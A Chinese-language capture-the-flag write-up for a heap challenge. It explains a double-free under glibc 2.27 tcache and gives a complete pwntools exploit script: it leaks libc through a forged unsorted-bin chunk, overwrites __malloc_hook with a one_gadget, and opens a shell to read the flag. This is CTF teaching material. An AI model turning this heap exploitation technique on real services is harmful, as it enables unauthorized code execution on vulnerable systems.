例行检查
保护全开,分析程序。
add函数
只能申请小于0x78大小的chunk,chunk数量不能超过24个,且题目给了申请到内存空间的地址。
free函数
free后指针没有置0,且libc是2.27的,存在tcache dup。唯一问题就在于如何得到libc的地址。泄露libc地址一般通过unsortbin,存在tcache的情况下,64位程序需要申请超过0x400大小chunk,free之后才能进unsortbin,所以只能通过修改chunksize,其次要得到libc地址必须要分配到这块地方题目才能给你打印出来,通过overlap可以将在tcache中的fd部分变为unsortbin的fd部分,从而分配到libc地址上空间。
from pwn import *
io=remote('xx.xx.xx.xx',xxxx)
libc=ELF('./libc.so.6')
def add(idx,size,data):
io.recvuntil('choice > ')
io.sendline('1')
io.recvuntil('the index')
io.sendline(str(idx))
io.recvuntil('the size')
io.sendline(str(size))
io.recvuntil('something')
io.sendline(data)
io.recvuntil('gift :')
return int(io.recvline()[2:],16)
def free(idx):
io.recvuntil('choice > ')
io.sendline('2')
io.recvuntil('the index')
io.sendline(str(idx))
heap=add(0,0x78,'a')#0
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3
add(4,0x78,'c')#4
add(5,0x78,'d')#5
add(6,0x78,'c')#6
add(7,0x78,'d')#7
add(8,0x78,'c')#8
add(9,0x78,'d')#9
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12
#dup
free(12)
free(12)
add(13,0x28,p64(heap-0x10))#4 修改为chunk0 size的地址
add(14,0x28,p64(heap-0x10))#5
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size,size需要超过0x400才能进unsortbin
#overlap
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7 从unsortbin分下一块,后面依然在unsortbin里 chunk1->fd=libc
add(17,0x18,'f')#8 get chunk1
libc_base=add(18,0x18,'g')-0x3ebca0#9 get libc
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
print(hex(libc_base),hex(malloc_hook))
#dup
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
#getshell
io.sendline('1')
io.sendline('22')
io.sendline('0;cat flag')
io.interactive()